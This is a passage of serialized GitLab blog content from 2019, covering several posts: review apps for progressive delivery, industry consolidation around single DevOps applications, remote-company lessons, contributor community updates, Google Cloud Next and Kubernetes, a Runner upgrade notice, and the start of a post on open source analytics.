are:\n\n[GitLab Review Apps](https://docs.gitlab.com/ee/ci/review_apps/) are\nstaging environments that are automatically created for every branch and/or merge request. They are a collaboration tool\nbuilt into GitLab that helps take the hard work out of providing an environment to\nshowcase or validate product changes. There are a lot of different ways to configure\nthem, but the recommended way is to automatically create review app instances during your\n[merge request pipelines](https://docs.gitlab.com/ee/ci/pipelines/merge_request_pipelines.html). Doing this\nwill ensure that any merge request that is being considered will have an application\nthat developers can connect to to validate their changes.\n\nWith GitLab, we go a step beyond simply creating the review environment: we make it accessible.\n\nOnce configured, on your merge request page you'll now see a \"view app\" button that, as long as your\n[route maps](https://docs.gitlab.com/ee/ci/review_apps/#route-maps) are configured correctly, will allow your\nusers to jump right to the changed content. Review apps do work even without the route maps – in that case\nthey will take you to the home page of your app – but with them they almost feel like magic.\n\n![Review app](https://docs.gitlab.com/ee/ci/review_apps/img/review_apps_preview_in_mr.png \"Review app\"){: .shadow.medium.center}\n\nReview apps are a powerful tool on their own for enabling quick iteration, but if we think about\nthem in the context of Progressive Delivery, a whole new set of possibilities opens up.\n\n## Review apps for progressive validation\n\nAs mentioned above, a typical Progressive Delivery flow involves using targeted feature flags to validate\nchanges as they flow to production environments. Review apps, if configured to point to production\ndata/endpoints instead of ephemeral data, can serve as a merge request-based window into the changes\nthat are being considered for release.\n\nSome of this will of course depend on your code, your testing procedures, and environments. You may\npoint review apps at production endpoints from the moment they are spun up, or perhaps only later\nin your merge request pipeline after some initial validation.\n\nSince anyone can use these environments, you can point anyone with a stake in the success of the\nnew feature to the review app, and they are able to see the live behavior, using their own real\ndata, immediately in their own web browser. This is incredibly powerful for enabling rapid feedback\nand iteration. As a preview, we're also looking to improve this capability by adding an\n[easy-to-use review interface for collecting feedback](https://gitlab.com/gitlab-org/gitlab-ee/issues/10761)\nright into review apps directly.\n\n## Feature flags and tracing\n\nWe can take this idea even one more step further. Using [per-environment feature flag behaviors](https://docs.gitlab.com/ee/operations/feature_flags.html#define-environment-specs), we\ncan control the behavior of the review app environment in any way that the production environment can\nbe controlled. This opens up the possibility of validating any combination.\n\nFinally, since review apps are built and deployed from GitLab CI/CD, all the predefined CI/CD environment\nvariables are available to the deploy script. You could configure your application to use your\nmerge request ID (`CI_MERGE_REQUEST_ID`) as its unique ID for transaction tracing, tying transactions\nin the system automatically to the appropriate GitLab merge request.\n\n## As you can see, there's a ton of potential for Progressive Delivery here\n\nReview apps don't replace\nthe role of feature flags in a Progressive Delivery pipeline, but they provide an incredible\nsupplement that enables segmented validation in a completely new way. All in all, it's such an exciting time for\ncontinuous delivery – there's so much innovation happening on the process and technology fronts, and I'm\ncertain we're only scratching the surface of where we're headed.\n\nReview Apps is just one way [GitLab CI/CD](/solutions/continuous-integration/) enables Progressive Delivery. Join us for our webcast _Mastering continuous software development_ and learn how GitLab’s built-in CI/CD helps teams implement Progressive Delivery workflows, without the complicated integrations and plugin maintenance.\n\n[Watch the GitLab CI/CD webcast](/webcast/mastering-ci-cd/)\n{: .alert .alert-gitlab-purple .text-center}\n\nIf you have more ideas on how to use review apps even more effectively, or where you see the technology\nevolving next, please share in the comments.\n\nPhoto by [Helloquence](https://unsplash.com/photos/5fNmWej4tAA?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/)\n{: .note}\n",[110,754,1384],{"slug":29824,"featured":6,"template":678},"progressive-delivery-using-review-apps","content:en-us:blog:progressive-delivery-using-review-apps.yml","Progressive Delivery Using Review Apps","en-us/blog/progressive-delivery-using-review-apps.yml","en-us/blog/progressive-delivery-using-review-apps",{"_path":29830,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29831,"content":29836,"config":29842,"_id":29844,"_type":16,"title":29845,"_source":17,"_file":29846,"_stem":29847,"_extension":20},"/en-us/blog/industry-moving-to-single-application-for-devops",{"title":29832,"description":29833,"ogTitle":29832,"ogDescription":29833,"noIndex":6,"ogImage":28098,"ogUrl":29834,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29834,"schema":29835},"The industry moves toward single DevOps lifecycle applications","Today's acquisition of ElectricCloud is further validation of a shift towards DevOps consolidation.","https://about.gitlab.com/blog/industry-moving-to-single-application-for-devops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The industry is moving towards a single application for the DevOps lifecycle\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2019-04-18\",\n      }",{"title":29837,"description":29833,"authors":29838,"heroImage":28098,"date":29839,"body":29840,"category":299,"tags":29841},"The industry is moving towards a single application for the DevOps lifecycle",[711],"2019-04-18","\n\nToday [CloudBees acquired ElectricCloud](https://www.cloudbees.com/press/cloudbees-acquires-market-leader-electric-cloud-creating-continuous-delivery-powerhouse) to strengthen their continuous delivery model.\nWith this acquisition we’re seeing the industry move in the direction that GitLab set forth.\nWe’ve seen Atlassian and GitHub follow our lead when we were the first to offer continuous\nintegration as part of code-hosting, and today with the CloudBees announcement we are seeing\na shift towards DevOps consolidation. Enterprises are demanding products that span a larger\npart of the DevOps lifecycle. This acquisition further validates GitLab's approach of a single,\nintegrated application for developers.\n\nGitLab focuses on the entire DevOps lifecycle. From the initial stages of your application creation\nprocess to the delivery of the software to market, GitLab helps you every step of the way.\nIn addition, instead of rearchitecting legacy software to be cloud native, GitLab was built to\nsupport cloud native deployments, helping enterprises embrace the cloud native way of developing software.\n\nWith GitLab you get a single application built from the ground up to provide a seamless experience\nacross every stage of the software development, delivery, and operations lifecycle.\nGitLab’s approach is to design components that fit, rather than taking separate tools that weren’t\ndesigned to work together and trying to integrate them. This approach ensures organizations\ncan increase cycle times and take advantage of more collaborative workflows.\n\n![GitLab's DevOps lifecycle](https://about.gitlab.com/images/blogimages/dev-ops-plan-to-monitor.png){: .medium.center}\n\nWatch how GitLab helps with everything from planning to monitoring here:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/nMAgP4WIcno\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n*\u003Csmall>Note: This demo covers up to GitLab 11.3 – we are now on GitLab 11.9 and have shipped more features since this was recorded.\u003C/small>*\n\nWe invite you to get started with GitLab to see how we can help move your software development\nprocess between developer and operations teams. We value your feedback and look forward to\ncontinuing to lead forward the industry.\n",[4103,736],{"slug":29843,"featured":6,"template":678},"industry-moving-to-single-application-for-devops","content:en-us:blog:industry-moving-to-single-application-for-devops.yml","Industry Moving To Single Application For Devops","en-us/blog/industry-moving-to-single-application-for-devops.yml","en-us/blog/industry-moving-to-single-application-for-devops",{"_path":29849,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29850,"content":29856,"config":29861,"_id":29863,"_type":16,"title":29864,"_source":17,"_file":29865,"_stem":29866,"_extension":20},"/en-us/blog/lessons-on-building-a-distributed-company",{"title":29851,"description":29852,"ogTitle":29851,"ogDescription":29852,"noIndex":6,"ogImage":29853,"ogUrl":29854,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29854,"schema":29855},"9 Lessons on building a distributed company","GitLab CEO Sid Sijbrandij and Outklip Founder Sunil Kowlgi talk about remote hiring, management, customer support, and more.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678641/Blog/Hero%20Images/lessons-building-distributed-company.jpg","https://about.gitlab.com/blog/lessons-on-building-a-distributed-company","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"9 Lessons on building a distributed company\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sunil Kowlgi\"}],\n        \"datePublished\": \"2019-04-18\",\n      }",{"title":29851,"description":29852,"authors":29857,"heroImage":29853,"date":29839,"body":29859,"category":6634,"tags":29860},[29858],"Sunil Kowlgi","\n_GitLab CEO Sid Sijbrandij occasionally sits down for a \"[pick your brain](/handbook/eba/ceo-scheduling/#pick-your-brain-meetings)\"\nmeeting with people seeking advice on open source, remote work, or a discussion of other things related to GitLab._\n\nIt is far easier to run an all-remote company than one that’s a hybrid of remote and colocated,\nsays [Sid Sijbrandij](/company/team/#sytses). When a company adopts a colocated\nculture there’s less recording of things and fewer digital artifacts, so it’s going to be hard for\nthe rest of the company to figure out how decisions are made.\n\nI interviewed Sid for lessons on building a distributed company like GitLab. Sid answered\nquestions on topics ranging from hiring to customer support.\n\nMy top takeaways from the interview:\n\n### 1. Remote interviews are more convenient than in-person interviews\n\nDuring an in-person interview, you need to make sure all your interview materials are loaded\nbeforehand on your laptop or iPad. It’s also going to be hard navigating things on your computer\nwhile talking to a person in front of you. You might write down notes that you’ll need to\ndigitize later by scanning, which is redundant work. On the other hand, when interviewing\nsomeone remotely over a video conference, you have all the materials at hand.\nBecause you’re looking at a screen you can look up information online and quickly take notes without interruption.\n\n### 2. Spend more time on the candidate’s questions than on your questions\n\nDuring interviews, you can get a lot of information about the candidate from the questions\nthey come prepared with and their follow-on questions. When Sid interviews, he spends most of the interview on the candidate’s questions.\n\n### 3. It is really important to write things down\n\nPeople are very efficient at reading things. If you write something down you can refer to it,\nso you don’t have to say everything again. In order to have alignment in a distributed company,\nrepetition of goals and strategy is needed. Repetition is easier when you have one writeup and people are able to easily find it.\n\n### 4. Google Docs is superior to a whiteboard\n\nIt is quite common to have meetings where everyone is looking at the same thing.\nBut, because of time zone differences, it’s hard to involve everyone in a meeting.\nWhile whiteboards are commonly used in in-person meetings, they’re not missed that much by remote workers.\nGoogle Docs is superior to a whiteboard because you never run out of space, you can use\nnumbered lists and indentation, and people can view them afterwards.\n\n### 5. Cross-functional teams don’t work well\n\nGitLab doesn’t do cross-functional teams. Teams are composed of people that perform a similar role.\nA team manager is someone who has experience with that role. This way the manager is able\nto assess results, coach, and give career advice, which is very important.\n\n### 6. Focus on the output of employees, not the input\n\nGood remote workers are focused on results. Especially for managers, it’s important that they\ndon’t focus on the input of people – how long they worked or things like that – but rather focus on the output.\nFocus on the input is not healthy in any company, but especially with remote work you have to let it go.\nNo one’s looking over your shoulder to check whether you’re on Facebook or not, and it’s fine if you\nare as long as you deliver the work to a reasonable degree.\n\n### 7. To be a good manager, you have to quickly identify and remedy underperformance\n\nGitLab hires people who are capable of being [managers of one](https://handbook.gitlab.com/handbook/values/#managers-of-one). But in instances where someone\nis underperforming, managers have to identify it, have a conversation, and take remedial action.\nHere’s [GitLab’s process for dealing with underperformance](/handbook/leadership/underperformance/).\n\n### 8. Be quick with recognition\n\nGitLab has various kinds of employee recognition. For quick recognition, there’s a #thanks\nchannel on Slack where people can celebrate their colleagues’ work. There are also $1,000\ndiscretionary bonuses and GitLab tends to be very high velocity with those.\nRecognizing employees and doing it quickly is really important.\n\n### 9. Put customer-reported issues on a level playing field with internally reported issues\n\nThe issue tracking process in GitLab doesn’t distinguish whether the issue reporter is a user,\n a customer, or a team member. If an issue comes from a user or customer, it’s probably\nbecause they care a lot about what you’re building. So, every feature request, everything\nGitLab team-members work on is out there on a level playing field. GitLab tends to have a lot more\ninteraction with customers than other companies.\n\nWatch the full interview below:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/pDU8lxh1-6U\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n[Visit this page to read the transcript of the interview](https://outklip.com/blog/gitlab-building-a-distributed-company/).\n\n### About the guest author\n\nSunil Kowlgi is the founder of [Outklip](https://outklip.com), a video platform for remote work.\n\nPhoto by [Brett Zeck](https://unsplash.com/photos/eyfMgGvo9PA?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/globe?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[676,815,3798,10921],{"slug":29862,"featured":6,"template":678},"lessons-on-building-a-distributed-company","content:en-us:blog:lessons-on-building-a-distributed-company.yml","Lessons On Building A Distributed Company","en-us/blog/lessons-on-building-a-distributed-company.yml","en-us/blog/lessons-on-building-a-distributed-company",{"_path":29868,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29869,"content":29874,"config":29879,"_id":29881,"_type":16,"title":29882,"_source":17,"_file":29883,"_stem":29884,"_extension":20},"/en-us/blog/contributor-program-update",{"title":29870,"description":29871,"ogTitle":29870,"ogDescription":29871,"noIndex":6,"ogImage":19778,"ogUrl":29872,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29872,"schema":29873},"Updates from the GitLab contributor community","Here's what's happening with the wider contributor community.","https://about.gitlab.com/blog/contributor-program-update","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Updates from the GitLab contributor community\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ray Paik\"}],\n        \"datePublished\": \"2019-04-17\",\n      }",{"title":29870,"description":29871,"authors":29875,"heroImage":19778,"date":29876,"body":29877,"category":813,"tags":29878},[21623],"2019-04-17","\n\nI joined GitLab in June 2018, and it's been exciting to work with our wider community of contributors.\nOne of the first things I did when I started was to look into community metrics to get a better\nunderstanding of the community, and here are a couple of numbers I'd like to share:\n\nSince 2016, about 15 percent of merged MR for the [GitLab Community Edition](https://gitlab.com/gitlab-org/gitlab-ce)\nwere contributed by community members (see the chart below). In addition, we had over 200\nfirst-time contributors to GitLab between the 11.5 and 11.9 releases, and it's been fun seeing [people\ncelebrate their first merged MRs on Twitter](https://twitter.com/hashtag/myFirstMRmerged?src=hash).\n\n![Community contribution to CE](https://about.gitlab.com/images/blogimages/contributor-pgm-blogpost/CE_Merged_MRs_since_Jan_2016.png){: .medium.center}\n\nIt's definitely fun being part of a growing community, and I wanted to provide a quick update\non a number of items that we have been working on.\n\n## Core Team updates\n\n### Monthly calls\n\nThe [Core Team](/community/core-team/) consists of individuals who have made sustained contributions\nto GitLab and their mission is to represent the wider GitLab community.\nI started scheduling a regular call with Core Team members\nand I've been very impressed with the quality of discussions we have each month.\nCore Team members helped improve responsiveness to community contributions, Hackathons,\nand even revamped the Core Team page itself. Everyone is welcome to join the call, and the\nlogistics, notes, slides, etc. are available on the [Monthly Core Team meeting page](https://gitlab.com/gitlab-core-team/general/wikis/monthly-core-team-meeting).\nIf you want to watch recordings of previous meetings, you can check out the [Core Team meeting playlist](https://www.youtube.com/playlist?list=PLFGfElNsQthZ12EUkq3N9QlThvkf3WGnZ).\n\n![GitLab Core Team](https://about.gitlab.com/images/blogimages/contributor-pgm-blogpost/Core_Team.png){: .shadow.small.center}\n\n### New additions to the team\n\nThere have also been changes to the Core Team composition. To provide additional support,\nthere will be up to two GitLab company team members forming part of the\nCore Team. So, I'm excited to share that [Rémy Coutable](https://gitlab.com/rymai) and\n[Winnie Hellmann](https://gitlab.com/winh) are now members of the Core Team.\nWinnie was actually a Core Team member prior to joining GitLab, and Rémy has been working\nwith Core Team members for the past several years, so they're perfect additions to the team.\n\nIn addition to the two GitLab team-members, [Ben Bodenmiller](https://gitlab.com/bbodenmiller)\nand [George Tsiolis](https://gitlab.com/gtsiolis) joined the Core Team in the past several months.\nAs you will see in the next section, both Ben and George were two of the top code contributors in 2018.\n\n## Recognizing regular contributors\n\nIn addition to the Core Team members, we also have dozens of members of the wider community\nmaking regular contributions to GitLab. In order to recognize their work, I started a\n[top contributors page](/community/top-annual-contributors/index.html) and\nplan to update this each year to highlight regular contributors. Following examples from other\nopen source communities, we now have badging for three different levels of contributions.\nShortly, we will be sending out special GitLab merchandise to these contributors so they can\ncelebrate their accomplishments. My hope is that we will see an increase in the number of regular\ncontributors in the years to come. In addition to the number of contributors, I also want to improve the diversity of regular contributors – whether it's gender, geography, occupation, etc. – and will start a conversation on this topic in various forums, including the Core Team meeting. \n\n![Contributor badges](https://about.gitlab.com/images/blogimages/contributor-pgm-blogpost/contributor_badges.png){: .shadow.small.center}\n\n## \"Contribute for prize\" issues\n\nIf you participated in the [Q1 Hackathon](/blog/q1-hackathon-recap/),\nyou probably remember that we highlighted an issue in each [product stage](/handbook/product/categories/)\nto encourage people to contribute for a special hackathon prize. Following the success of this\nin the Hackathon, we created a new label `Contribute for prize` to encourage community members\nto work on priority issues on an ongoing basis. You can find more information in the [contributor success handbook page](/handbook/marketing/developer-relations/contributor-success/community-contributors-workflows.html#supporting-the-wider-community-contributors)\nand I encourage everyone to [search for issues with the label `Contribute for prize`](https://gitlab.com/gitlab-org/gitlab-ce/issues?scope=all&utf8=%E2%9C%93&state=opened&label_name[]=Contribute%20for%20prize) to start working on them.\n\n## How do I get started with contributing?\n\nA good place to start is the [Contributing to GitLab page](/community/contribute/), where you can learn how you can\ncontribute to GitLab code, documentation, translation, and UX design.\n\nIf you have any questions, you are always welcome to reach me at rpaik@gitlab.com.\n\n[\"Gitlab application screengrab\"](https://unsplash.com/photos/ZV_64LdGoao) by [Pankaj Patel](https://unsplash.com/@pankajpatel) on Unsplash\n{: .note}\n",[267,2368,815],{"slug":29880,"featured":6,"template":678},"contributor-program-update","content:en-us:blog:contributor-program-update.yml","Contributor Program Update","en-us/blog/contributor-program-update.yml","en-us/blog/contributor-program-update",{"_path":29886,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29887,"content":29892,"config":29898,"_id":29900,"_type":16,"title":29901,"_source":17,"_file":29902,"_stem":29903,"_extension":20},"/en-us/blog/google-cloud-next-anthos-kubernetes",{"title":29888,"description":29889,"ogTitle":29888,"ogDescription":29889,"noIndex":6,"ogImage":12068,"ogUrl":29890,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29890,"schema":29891},"Google Cloud Next: Doubling down on Kubernetes and multi-cloud","Everything you need to know from last week’s big event.","https://about.gitlab.com/blog/google-cloud-next-anthos-kubernetes","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Google Cloud Next: Doubling down on Kubernetes and multi-cloud\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Melissa Smolensky\"}],\n        \"datePublished\": \"2019-04-16\",\n      }",{"title":29888,"description":29889,"authors":29893,"heroImage":12068,"date":29895,"body":29896,"category":299,"tags":29897},[29894],"Melissa Smolensky","2019-04-16","\nLast week at Google Next we saw Google bet big on Kubernetes. Google announced Anthos,\na multi-cloud platform based on Kubernetes, as well as Cloud Run, Google Cloud’s commercial Knative offering.\nThe key technology at the center of these two big announcements is Kubernetes.\nAs [Janakiram MSV](https://twitter.com/janakiramm) stated in a [Forbes article](https://www.forbes.com/sites/janakirammsv/2019/04/14/everything-you-want-to-know-about-anthos-googles-hybrid-and-multi-cloud-platform/#68ffc6d05b66) in regards to Anthos,\n\n> The core theme of Anthos is application modernization. Google envisages a future where all enterprise applications will run on Kubernetes.\n\nAnd in his [New Stack article](https://thenewstack.io/how-google-cloud-run-combines-serverless-with-containers/) about Cloud Run,\n\n> Like the way it offered a managed Kubernetes service before any other provider, Google moved fast in exposing Knative through Cloud Run to developers.\n\nFor a quick overview of the news at Google Next, [Brandon Jung](https://twitter.com/brandoncjung),\nVP of Alliances at GitLab, gives a quick recap of the news and how it impacts GitLab. Take a look.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/teRaXAPbfoA\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nLaunched by Google in 2014 at the first DockerCon, Kubernetes has become the de facto standard\nfor container orchestration. This May, 12,000 people will gather at KubeCon Barcelona to\nlearn how to implement and use Kubernetes to drive forward cloud native application development within their organizations.\n\nHere at GitLab we embraced Kubernetes early on as well, and we are continuing to take our\ndedication further, putting the power of Kubernetes in the developer workflow.\nEven the CNCF uses GitLab to provide cross-project\ncontinuous integration and interoperability testing.\n\n## Kubernetes throughout every step of the software development lifecycle\n\n“By allowing people to quickly connect Kubernetes clusters to their projects we are helping many\nenterprises embrace the cloud native way of building applications,” says Sid Sijbrandij, CEO at GitLab.\n“By providing a single application we allow enterprise developer and operations teams to embrace\nKubernetes every step of the way in their software development process.\nWe’ve seen a large financial institution go from a single build every two weeks to over 1,000\nself-served builds a day using GitLab. It is wonderful to see the scale we can unlock for organizations\nby providing access to Kubernetes in the developer workflow.”\n\n## GitLab plus Kubernetes\n\nIf you are looking to get started using [Kubernetes with GitLab](/solutions/kubernetes/),\nyou can easily connect any existing Kubernetes cluster on any platform to GitLab by using\nGitLab’s native Kubernetes integration. GitLab even makes it easy to set up and configure new\nclusters with just a few clicks using the Google Kubernetes Engine (GKE) integration.\nOnce connected, teams can install managed applications like Helm Tiller, Ingress,\nand Prometheus to their cluster with a single click in the GitLab interface.\nConnected clusters are available as a deploy target from GitLab CI/CD and are monitored\nusing GitLab’s bundled Prometheus capabilities.\n\nWe love seeing the community embrace GitLab and Kubernetes.\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">getting back to grips with \u003Ca href=\"https://twitter.com/hashtag/GitLab?src=hash&amp;ref_src=twsrc%5Etfw\">#GitLab\u003C/a> CICD with \u003Ca href=\"https://twitter.com/hashtag/Terraform?src=hash&amp;ref_src=twsrc%5Etfw\">#Terraform\u003C/a> jobs and knocked up a \u003Ca href=\"https://twitter.com/hashtag/Kubernetes?src=hash&amp;ref_src=twsrc%5Etfw\">#Kubernetes\u003C/a> cluster for the runner! \u003Ca href=\"https://twitter.com/hashtag/devops?src=hash&amp;ref_src=twsrc%5Etfw\">#devops\u003C/a> \u003Ca href=\"https://twitter.com/hashtag/devoops?src=hash&amp;ref_src=twsrc%5Etfw\">#devoops\u003C/a> \u003Ca href=\"https://twitter.com/hashtag/nomorejenkins?src=hash&amp;ref_src=twsrc%5Etfw\">#nomorejenkins\u003C/a> \u003Ca href=\"https://twitter.com/hashtag/SRE?src=hash&amp;ref_src=twsrc%5Etfw\">#SRE\u003C/a> \u003Ca href=\"https://twitter.com/hashtag/GCP?src=hash&amp;ref_src=twsrc%5Etfw\">#GCP\u003C/a>\u003C/p>&mdash; Ferris Hall (@Ferrish07) \u003Ca href=\"https://twitter.com/Ferrish07/status/1106252265218703360?ref_src=twsrc%5Etfw\">March 14, 2019\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">I&#39;ve just posted a little experience report. I&#39;m now using \u003Ca href=\"https://twitter.com/hashtag/Kubernetes?src=hash&amp;ref_src=twsrc%5Etfw\">#Kubernetes\u003C/a>  to spread my build load, thanks to \u003Ca href=\"https://twitter.com/gitlab?ref_src=twsrc%5Etfw\">@gitlab\u003C/a> and \u003Ca href=\"https://twitter.com/GCPcloud?ref_src=twsrc%5Etfw\">@GCPcloud\u003C/a>. \u003Ca href=\"https://t.co/KGQ9kyEEP5\">https://t.co/KGQ9kyEEP5\u003C/a>\u003C/p>&mdash; Paul Hicks (@tenwit) \u003Ca href=\"https://twitter.com/tenwit/status/1104828372197113856?ref_src=twsrc%5Etfw\">March 10, 2019\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"pl\" dir=\"ltr\">GitLab CI/CD &amp;&amp; Kubernetes by Bruno Fonseca \u003Ca href=\"https://t.co/ZDymOsbKfc\">https://t.co/ZDymOsbKfc\u003C/a>\u003C/p>&mdash; Paulo George Bezerra (@paulobezerr) \u003Ca href=\"https://twitter.com/paulobezerr/status/1108049894877659136?ref_src=twsrc%5Etfw\">March 19, 2019\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\nCover image by [Cody Schroeder](https://unsplash.com/@codyrs) on [Unsplash](https://unsplash.com/photos/L99UKlcUBJY?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[3949,277,3049,923,2509],{"slug":29899,"featured":6,"template":678},"google-cloud-next-anthos-kubernetes","content:en-us:blog:google-cloud-next-anthos-kubernetes.yml","Google Cloud Next Anthos Kubernetes","en-us/blog/google-cloud-next-anthos-kubernetes.yml","en-us/blog/google-cloud-next-anthos-kubernetes",{"_path":29905,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29906,"content":29911,"config":29916,"_id":29918,"_type":16,"title":29919,"_source":17,"_file":29920,"_stem":29921,"_extension":20},"/en-us/blog/upgrade-runners-for-mr-pipelines",{"title":29907,"description":29908,"ogTitle":29907,"ogDescription":29908,"noIndex":6,"ogImage":12013,"ogUrl":29909,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29909,"schema":29910},"Private Runner upgrade required for GitLab 11.10 MR pipelines","All users of Merge Request Pipelines must ensure they are using GitLab Runners > version 11.8.","https://about.gitlab.com/blog/upgrade-runners-for-mr-pipelines","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Private Runner upgrade required for users of Merge Request Pipelines in GitLab 11.10\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jason Yavorska\"}],\n        \"datePublished\": \"2019-04-16\",\n      }",{"title":29912,"description":29908,"authors":29913,"heroImage":12013,"date":29895,"body":29914,"category":736,"tags":29915},"Private Runner upgrade required for users of Merge Request Pipelines in GitLab 11.10",[22054],"\nThe 11.10 release, shipping April 22, introduces a [Premium tier](/pricing/premium/) improvement\nfor [MR Pipelines](https://docs.gitlab.com/ee/ci/pipelines/merge_request_pipelines.html) where we now\nbuild the [combined ref (source + target branch)](https://docs.gitlab.com/ee/ci/pipelines/merge_request_pipelines.html)\nas part of the merge request pipeline.\n\nUsers of MR Pipelines with private GitLab Runners of version 11.8 or older\nmust upgrade to 11.9 or newer, or you will run into the issue described in [gitlab-ee#11122](https://gitlab.com/gitlab-org/gitlab-ee/issues/11122),\nwhere you receive the error message `Your runner is outdated, please upgrade your runner`. You can upgrade by\nfollowing the instructions on the [Runner installation guide](https://docs.gitlab.com/runner/#install-gitlab-runner).\nUsers of GitLab's shared Runner fleet are not impacted by this issue.\n\nPlease let us know in the comments if you run into any issues.\n",[716,774],{"slug":29917,"featured":6,"template":678},"upgrade-runners-for-mr-pipelines","content:en-us:blog:upgrade-runners-for-mr-pipelines.yml","Upgrade Runners For Mr Pipelines","en-us/blog/upgrade-runners-for-mr-pipelines.yml","en-us/blog/upgrade-runners-for-mr-pipelines",{"_path":29923,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29924,"content":29930,"config":29935,"_id":29937,"_type":16,"title":29938,"_source":17,"_file":29939,"_stem":29940,"_extension":20},"/en-us/blog/open-source-analytics",{"title":29925,"description":29926,"ogTitle":29925,"ogDescription":29926,"noIndex":6,"ogImage":29927,"ogUrl":29928,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29928,"schema":29929},"4 Examples of the power of open source analytics","Our Data and Analytics team manager reflects on how open source and radical transparency has benefited analytics work at GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670464/Blog/Hero%20Images/gitlab-loves-open-source.jpg","https://about.gitlab.com/blog/open-source-analytics","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"4 Examples of the power of open source analytics\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Taylor Murphy\"}],\n        \"datePublished\": \"2019-04-15\",\n      }",{"title":29925,"description":29926,"authors":29931,"heroImage":29927,"date":29932,"body":29933,"category":813,"tags":29934},[24153],"2019-04-15","\nOne of the great parts of working for a company with such a strong [open source](/solutions/open-source/) ethos is that\nyou're able to apply this philosophy to other parts of the company. We on the Data Team\nhave worked hard to embody the [values of GitLab](https://handbook.gitlab.com/handbook/values/),\nparticularly collaboration and transparency.\n\nIt starts by defaulting to public for everything. Our [primary code repository](https://gitlab.com/gitlab-data/analytics/)\nis public and MIT licensed, meaning anybody can contribute or just take what they find useful.\nOur code, issues, and [documentation](/handbook/business-technology/data-team/) are public.\n\n## This radical transparency has had several positive side effects\n\n### The effect I'm most excited about is having people contribute to our codebase.\n\nWhen we were migrating to Snowflake for our data warehouse, we needed to convert our SQL code\nthat was specific to PostgreSQL to a Snowflake-compatible format.\nOne of the models in our codebase [generates a table](https://dbt.gitlabdata.com/#!/model/model.gitlab_snowflake.date_details) of dates and related metadata such as day of year, week of year, quarter, etc.\nAn external contributor, [Matthias Wirtz](https://gitlab.com/swiffer), who had been following our\nproject and the [Meltano](https://meltano.com/) project, took it upon himself to make the\nupdate and create a merge request in our project. We went back and forth a bit with code review\nand testing, but eventually [it was merged](https://gitlab.com/gitlab-data/analytics/merge_requests/476/diffs) and we now rely on this code today!\n\n### Another great benefit is that it makes conversations easier within the analytics community.\n\nA key part of our data stack is data build tool, or [dbt](https://www.getdbt.com/) for short.\nThis is a powerful open source project that makes version controlling and executing SQL code easy.\nThe company behind the project, [Fishtown Analytics](https://www.fishtownanalytics.com/),\nhosts a great community on [Slack](https://slack.getdbt.com/). I've been able to answer basic\nquestions about project structure, documentation, and testing just by linking to our codebase and\n[dbt-generated docs](https://dbt.gitlabdata.com)\ncountless times, and the feedback is always positive. We see people who are shocked that\nwe're so open but also appreciative that they can poke around a production codebase with ease.\n\n### An additional benefit that we've seen is that by putting everything out in the open we're helping to drive the industry forward.\n\nIt's one thing to say \"Here's what we're doing, but sorry you can't see the code\" versus\n\"Here's what we're doing, here's _how_ we're doing it, and what are your ideas to make it better?\"\nThe latter invites people into the conversation to build upon ideas and others' creations.\n\n### The last piece I 